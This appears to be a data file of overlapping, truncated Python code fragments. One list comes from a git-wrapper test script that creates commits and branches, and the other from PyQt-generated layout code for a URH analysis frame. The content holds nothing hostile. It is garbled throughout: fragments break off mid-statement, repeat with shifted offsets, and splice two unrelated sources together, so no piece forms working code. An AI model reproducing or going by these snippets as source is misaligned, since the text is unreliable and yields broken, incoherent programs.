"...\") as log2: filePath = os.path.join(tempDirPath, \"foo2.txt\") with open(filePath, \"w\") as fout: fout.write(\"\")",
"<filename>testing/test_GitWrapper_committing.py #!/usr/bin/python3 import os import typing import tempfile import jk_json import jk_logging import",
"import jk_typing import jk_git from TestHelper import TestHelper with jk_logging.wrapMain() as log: with",
"mybranch\" \"\"\" with log.descend(\"Creating even another file and committing it ...\") as log2:",
"it ...\") as log2: filePath = os.path.join(tempDirPath, \"foo2.txt\") with open(filePath, \"w\") as fout:",
"with log.descend(\"Creating a branch ...\") as log2: ret = th.git.createBranch(th.tempDirPath, \"mybranch\", log=log2) th._dumpOutput(ret,",
"th.git.listBranches(th.tempDirPath, log=log2) th._dumpOutput(ret, log2) assert isinstance(ret, list) assert len(ret) == 2 assert ret[0]",
"list) assert len(ret) == 2 assert ret[0] == \" master\" assert ret[1] ==",
"with log.descend(\"Listing branches ...\") as log2: ret = th.git.listBranches(th.tempDirPath, log=log2) th._dumpOutput(ret, log2) assert",
"log: with TestHelper(log) as th: th.createRepository(log) th.createSingleFileAndCommitIt(\"foo1.txt\", \"mycommitmsg1\", log) th.createSingleFileAndCommitIt(\"foo2.txt\", \"mycommitmsg2\", log) \"\"\"",
"filePath, log=log2) th._dumpOutput(ret, log2) ret = th.git.commit(th.tempDirPath, \"mycommitmsg3\", log=log2) th._dumpOutput(ret, log2) \"\"\" th.createSingleFileAndCommitIt(\"foo3.txt\",",
"import typing import tempfile import jk_json import jk_logging import jk_typing import jk_git from",
"fout: fout.write(\"\") ret = th.git.add(th.tempDirPath, filePath, log=log2) th._dumpOutput(ret, log2) ret = th.git.commit(th.tempDirPath, \"mycommitmsg3\",",
"log) with log.descend(\"Show log ...\") as log2: ret = th.git.showLog(th.tempDirPath, log=log2) th._dumpOutput(ret, log2)",
"ret = git.commit(tempDirPath, \"mycommitmsg2\", log=log2) _dumpOutput(ret, log2) \"\"\" with log.descend(\"Creating a branch ...\")",
"...\") as log2: ret = th.git.createBranch(th.tempDirPath, \"mybranch\", log=log2) th._dumpOutput(ret, log2) with log.descend(\"Listing branches",
"TestHelper import TestHelper with jk_logging.wrapMain() as log: with TestHelper(log) as th: th.createRepository(log) th.createSingleFileAndCommitIt(\"foo1.txt\",",
"committing it ...\") as log2: filePath = os.path.join(th.tempDirPath, \"foo3.txt\") with open(filePath, \"w\") as",
"\"* mybranch\" \"\"\" with log.descend(\"Creating even another file and committing it ...\") as",
"\"\"\" th.createSingleFileAndCommitIt(\"foo3.txt\", \"mycommitmsg3\", log) with log.descend(\"Show log ...\") as log2: ret = th.git.showLog(th.tempDirPath,",
"_dumpOutput(ret, log2) ret = git.commit(tempDirPath, \"mycommitmsg2\", log=log2) _dumpOutput(ret, log2) \"\"\" with log.descend(\"Creating a",
"= git.add(tempDirPath, filePath, log=log2) _dumpOutput(ret, log2) ret = git.commit(tempDirPath, \"mycommitmsg2\", log=log2) _dumpOutput(ret, log2)",
"as log2: ret = th.git.createBranch(th.tempDirPath, \"mybranch\", log=log2) th._dumpOutput(ret, log2) with log.descend(\"Listing branches ...\")",
"TestHelper with jk_logging.wrapMain() as log: with TestHelper(log) as th: th.createRepository(log) th.createSingleFileAndCommitIt(\"foo1.txt\", \"mycommitmsg1\", log)",
"with jk_logging.wrapMain() as log: with TestHelper(log) as th: th.createRepository(log) th.createSingleFileAndCommitIt(\"foo1.txt\", \"mycommitmsg1\", log) th.createSingleFileAndCommitIt(\"foo2.txt\",",
"log=log2) th._dumpOutput(ret, log2) \"\"\" th.createSingleFileAndCommitIt(\"foo3.txt\", \"mycommitmsg3\", log) with log.descend(\"Show log ...\") as log2:",
"git.add(tempDirPath, filePath, log=log2) _dumpOutput(ret, log2) ret = git.commit(tempDirPath, \"mycommitmsg2\", log=log2) _dumpOutput(ret, log2) \"\"\"",
"log2) \"\"\" th.createSingleFileAndCommitIt(\"foo3.txt\", \"mycommitmsg3\", log) with log.descend(\"Show log ...\") as log2: ret =",
"isinstance(ret, list) assert len(ret) == 2 assert ret[0] == \" master\" assert ret[1]",
"as log2: filePath = os.path.join(tempDirPath, \"foo2.txt\") with open(filePath, \"w\") as fout: fout.write(\"\") ret",
"another file and committing it ...\") as log2: filePath = os.path.join(tempDirPath, \"foo2.txt\") with",
"_dumpOutput(ret, log2) \"\"\" with log.descend(\"Creating a branch ...\") as log2: ret = th.git.createBranch(th.tempDirPath,",
"as th: th.createRepository(log) th.createSingleFileAndCommitIt(\"foo1.txt\", \"mycommitmsg1\", log) th.createSingleFileAndCommitIt(\"foo2.txt\", \"mycommitmsg2\", log) \"\"\" with log.descend(\"Creating another"
] |
[
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth()) self.cbProtoView.setSizePolicy(sizePolicy) self.cbProtoView.setObjectName(\"cbProtoView\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.verticalLayout.addWidget(self.cbProtoView) self.cbDecoding =",
"QtWidgets.QVBoxLayout(self.pageButtonAnalyzer) self.verticalLayout_5.setContentsMargins(0, 0, 0, 0) self.verticalLayout_5.setObjectName(\"verticalLayout_5\") self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer) self.pageProgressBar = QtWidgets.QWidget() self.pageProgressBar.setObjectName(\"pageProgressBar\") self.verticalLayout_6 =",
"current message.</p></body></html>\")) self.lblRSSI.setText(_translate(\"FAnalysis\", \"1.04\")) self.label_3.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message Start</span> is the point",
"QtWidgets.QWidget() self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageButtonAnalyzer) self.verticalLayout_5.setContentsMargins(0, 0, 0, 0) self.verticalLayout_5.setObjectName(\"verticalLayout_5\") self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer) self.pageProgressBar =",
"self.lSlash.setObjectName(\"lSlash\") self.gridLayout_2.addWidget(self.lSlash, 0, 5, 1, 1) self.lSearchTotal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)",
"self.lNumSelectedColumns.setSizePolicy(sizePolicy) self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\") self.horizontalLayout_3.addWidget(self.lNumSelectedColumns) self.lColumnsSelectedText = QtWidgets.QLabel(self.frame_3) self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\") self.horizontalLayout_3.addWidget(self.lColumnsSelectedText) self.verticalLayout_3.addLayout(self.horizontalLayout_3) self.verticalLayout_4.addWidget(self.splitter_2) self.frame = QtWidgets.QFrame(self.splitter)",
"self.lEncodingErrors.setObjectName(\"lEncodingErrors\") self.verticalLayout.addWidget(self.lEncodingErrors) self.lDecodingErrorsValue = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth()) self.lDecodingErrorsValue.setSizePolicy(sizePolicy)",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth()) self.btnNextSearch.setSizePolicy(sizePolicy) self.btnNextSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-next\") self.btnNextSearch.setIcon(icon)",
"self.splitter.setObjectName(\"splitter\") self.frame_2 = QtWidgets.QFrame(self.splitter) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName(\"frame_2\") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frame_2) self.verticalLayout_4.setObjectName(\"verticalLayout_4\") self.splitter_2 =",
"setupUi(self, FAnalysis): FAnalysis.setObjectName(\"FAnalysis\") FAnalysis.resize(1372, 907) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth()) FAnalysis.setSizePolicy(sizePolicy)",
"1) self.line = QtWidgets.QFrame(self.frame_3) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName(\"line\") self.gridLayout_2.addWidget(self.line, 0, 9, 1, 1) self.label_2",
"QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setObjectName(\"label\") self.gridLayout.addWidget(self.label, 0, 0,",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setObjectName(\"label\") self.gridLayout.addWidget(self.label, 0, 0, 1, 1) self.tblLabelValues = LabelValueTableView(self.frame) sizePolicy",
"= QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\") self.label_5 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_5.setObjectName(\"label_5\") self.horizontalLayout_2.addWidget(self.label_5) self.btnSaveProto = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy =",
"self.lDecimalSelection.setObjectName(\"lDecimalSelection\") self.horizontalLayout_3.addWidget(self.lDecimalSelection) spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.lNumSelectedColumns = QtWidgets.QLabel(self.frame_3) sizePolicy",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth()) self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy) self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\") self.pageButtonAnalyzer = QtWidgets.QWidget() self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\") self.verticalLayout_5 =",
"self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\", \"Show only labels in protocol\")) self.btnAnalyze.setText(_translate(\"FAnalysis\", \"Analyze\")) self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\", \"Search Pattern\")) self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\", \"Search\"))",
"= QtWidgets.QLineEdit(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth()) self.lineEditSearch.setSizePolicy(sizePolicy) self.lineEditSearch.setAcceptDrops(False) self.lineEditSearch.setClearButtonEnabled(True) self.lineEditSearch.setObjectName(\"lineEditSearch\")",
"\" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchCurrent.setObjectName(\"lSearchCurrent\") self.gridLayout_2.addWidget(self.lSearchCurrent, 0, 4, 1, 1) self.lSlash = QtWidgets.QLabel(self.frame_3)",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth()) self.btnSaveProto.setSizePolicy(sizePolicy) self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.btnSaveProto.setBaseSize(QtCore.QSize(0, 0)) icon = QtGui.QIcon.fromTheme(\"document-save\")",
"1, 1) spacerItem = QtWidgets.QSpacerItem(60, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.gridLayout_2.addItem(spacerItem, 0, 8, 1, 1)",
"= QtWidgets.QFrame(self.frame_3) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName(\"line\") self.gridLayout_2.addWidget(self.line, 0, 9, 1, 1) self.label_2 = QtWidgets.QLabel(self.frame_3)",
"indicates the average signal power of the current message.</p></body></html>\")) self.label_2.setText(_translate(\"FAnalysis\", \"RSSI:\")) self.lblRSSI.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth()) self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy) self.progressBarLogicAnalyzer.setProperty(\"value\", 24) self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\") self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer) self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar)",
"sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth()) self.cbProtoView.setSizePolicy(sizePolicy) self.cbProtoView.setObjectName(\"cbProtoView\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.verticalLayout.addWidget(self.cbProtoView) self.cbDecoding = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"self.gridLayout.addWidget(self.label, 0, 0, 1, 1) self.tblLabelValues = LabelValueTableView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
"self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\", \"...\")) self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\", \"Add a new message type\")) self.btnAddMessagetype.setText(_translate(\"FAnalysis\", \"...\")) self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\", \"Delete current",
"\"1.04\")) self.label_3.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message Start</span> is the point in time when",
"self.btnPrevSearch.setObjectName(\"btnPrevSearch\") self.gridLayout_2.addWidget(self.btnPrevSearch, 0, 3, 1, 1) self.lSearchCurrent = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)",
"= QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth()) self.lDecimal.setSizePolicy(sizePolicy) self.lDecimal.setMaximumSize(QtCore.QSize(16777215, 15)) self.lDecimal.setObjectName(\"lDecimal\")",
"0, 0) self.verticalLayout_6.setObjectName(\"verticalLayout_6\") self.progressBarLogicAnalyzer = QtWidgets.QProgressBar(self.pageProgressBar) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth())",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth()) self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy) self.progressBarLogicAnalyzer.setProperty(\"value\", 24) self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\") self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer) self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar) self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout_8.addWidget(self.scrollArea) self.frame_3",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth()) self.lineEditSearch.setSizePolicy(sizePolicy) self.lineEditSearch.setAcceptDrops(False) self.lineEditSearch.setClearButtonEnabled(True) self.lineEditSearch.setObjectName(\"lineEditSearch\") self.gridLayout_2.addWidget(self.lineEditSearch, 0,",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth()) self.lTime.setSizePolicy(sizePolicy) self.lTime.setTextFormat(QtCore.Qt.PlainText) self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lTime.setObjectName(\"lTime\") self.gridLayout_2.addWidget(self.lTime, 0, 14, 1,",
"self.splitter_2.setObjectName(\"splitter_2\") self.frame_4 = QtWidgets.QFrame(self.splitter_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth()) self.frame_4.setSizePolicy(sizePolicy) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel)",
"self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lDecimalSelection.setAcceptDrops(False) self.lDecimalSelection.setReadOnly(True) self.lDecimalSelection.setObjectName(\"lDecimalSelection\") self.horizontalLayout_3.addWidget(self.lDecimalSelection) spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1)",
"-> Edit.\")) self.lblLabelValues.setText(_translate(\"FAnalysis\", \"Label values for message\")) self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\", \"Settings for message type\")) self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\",",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth()) self.treeViewProtocols.setSizePolicy(sizePolicy) self.treeViewProtocols.setAcceptDrops(True) self.treeViewProtocols.setDragEnabled(True) self.treeViewProtocols.setDragDropOverwriteMode(False) self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop) self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction)",
"icon = QtGui.QIcon.fromTheme(\"preferences-other\") self.btnMessagetypeSettings.setIcon(icon) self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\") self.horizontalLayout.addWidget(self.btnMessagetypeSettings) self.btnAddMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-add\") self.btnAddMessagetype.setIcon(icon)",
"self.btnAnalyze = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth()) self.btnAnalyze.setSizePolicy(sizePolicy) self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly)",
"self.verticalLayout_2.addWidget(self.splitter) self.retranslateUi(FAnalysis) self.stackedWidgetLogicAnalysis.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(FAnalysis) def retranslateUi(self, FAnalysis): _translate = QtCore.QCoreApplication.translate FAnalysis.setWindowTitle(_translate(\"FAnalysis\", \"Frame\")) self.label_5.setText(_translate(\"FAnalysis\",",
"point in time when a protocol message begins. Additionally the relative time (+",
"self.btnAnalyze.setSizePolicy(sizePolicy) self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnAnalyze.setObjectName(\"btnAnalyze\") self.verticalLayout.addWidget(self.btnAnalyze) self.stackedWidgetLogicAnalysis = QtWidgets.QStackedWidget(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
"self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName(\"line_2\") self.gridLayout_2.addWidget(self.line_2, 0, 12, 1, 1) self.label_3 = QtWidgets.QLabel(self.frame_3) self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_3.setObjectName(\"label_3\")",
"self.verticalLayout_2.setObjectName(\"verticalLayout_2\") self.splitter = QtWidgets.QSplitter(FAnalysis) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName(\"splitter\") self.frame_2 = QtWidgets.QFrame(self.splitter) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName(\"frame_2\") self.verticalLayout_4",
"self.gridLayout_2.addWidget(self.btnPrevSearch, 0, 3, 1, 1) self.lSearchCurrent = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
"AlignCenter;\\n\" \"}\") self.lSearchTotal.setObjectName(\"lSearchTotal\") self.gridLayout_2.addWidget(self.lSearchTotal, 0, 6, 1, 1) self.btnNextSearch = QtWidgets.QToolButton(self.frame_3) self.btnNextSearch.setEnabled(False) sizePolicy",
"QtGui.QFont() font.setBold(True) font.setWeight(75) self.lblLabelValues.setFont(font) self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter) self.lblLabelValues.setObjectName(\"lblLabelValues\") self.gridLayout.addWidget(self.lblLabelValues, 0, 1, 1, 1) self.horizontalLayout =",
"font.setBold(True) font.setWeight(75) self.lblLabelValues.setFont(font) self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter) self.lblLabelValues.setObjectName(\"lblLabelValues\") self.gridLayout.addWidget(self.lblLabelValues, 0, 1, 1, 1) self.horizontalLayout = QtWidgets.QHBoxLayout()",
"FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel) FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised) FAnalysis.setLineWidth(1) FAnalysis.setMidLineWidth(0) self.verticalLayout_2 = QtWidgets.QVBoxLayout(FAnalysis) self.verticalLayout_2.setObjectName(\"verticalLayout_2\") self.splitter = QtWidgets.QSplitter(FAnalysis) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName(\"splitter\")",
"= QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 320, 514)) self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\") self.verticalLayout = QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents) self.verticalLayout.setContentsMargins(0, 0, 0,",
"self.gridLayout_2.addWidget(self.line, 0, 9, 1, 1) self.label_2 = QtWidgets.QLabel(self.frame_3) self.label_2.setObjectName(\"label_2\") self.gridLayout_2.addWidget(self.label_2, 0, 10, 1,",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth()) self.lBits.setSizePolicy(sizePolicy) self.lBits.setMaximumSize(QtCore.QSize(16777215, 15)) self.lBits.setObjectName(\"lBits\") self.horizontalLayout_3.addWidget(self.lBits) self.lBitsSelection = QtWidgets.QLineEdit(self.frame_3) self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lBitsSelection.setAcceptDrops(False)",
"self.lHexSelection = QtWidgets.QLineEdit(self.frame_3) self.lHexSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lHexSelection.setAcceptDrops(False) self.lHexSelection.setReadOnly(True) self.lHexSelection.setObjectName(\"lHexSelection\") self.horizontalLayout_3.addWidget(self.lHexSelection) self.lDecimal = QtWidgets.QLabel(self.frame_3) sizePolicy",
"0, 1, 1, 1) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName(\"horizontalLayout\") self.cbMessagetypes = QtWidgets.QComboBox(self.frame) self.cbMessagetypes.setEditable(True) self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert)",
"from urh.ui.views.LabelValueTableView import LabelValueTableView from urh.ui.views.ProtocolLabelListView import ProtocolLabelListView from urh.ui.views.ProtocolTableView import ProtocolTableView from",
"self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName(\"frame_4\") self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.frame_4) self.verticalLayout_8.setObjectName(\"verticalLayout_8\") self.scrollArea = QtWidgets.QScrollArea(self.frame_4) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(\"scrollArea\") self.scrollAreaWidgetContents",
"type\")) self.btnAddMessagetype.setText(_translate(\"FAnalysis\", \"...\")) self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\", \"Delete current message type\")) self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\", \"...\")) from urh.ui.views.LabelValueTableView import",
"message type\")) self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\", \"...\")) self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\", \"Add a new message type\")) self.btnAddMessagetype.setText(_translate(\"FAnalysis\", \"...\")) self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\",",
"42/108\")) self.btnPrevSearch.setText(_translate(\"FAnalysis\", \"<\")) self.lSearchCurrent.setText(_translate(\"FAnalysis\", \"-\")) self.lSlash.setText(_translate(\"FAnalysis\", \"/\")) self.lSearchTotal.setText(_translate(\"FAnalysis\", \"-\")) self.btnNextSearch.setText(_translate(\"FAnalysis\", \">\")) self.label_2.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The",
"self.tblViewProtocol.setObjectName(\"tblViewProtocol\") self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40) self.verticalLayout_3.addWidget(self.tblViewProtocol) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\") self.lBits = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,",
"= QtGui.QIcon.fromTheme(\"preferences-other\") self.btnMessagetypeSettings.setIcon(icon) self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\") self.horizontalLayout.addWidget(self.btnMessagetypeSettings) self.btnAddMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-add\") self.btnAddMessagetype.setIcon(icon) self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\")",
"= QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth()) self.btnSaveProto.setSizePolicy(sizePolicy) self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.btnSaveProto.setBaseSize(QtCore.QSize(0,",
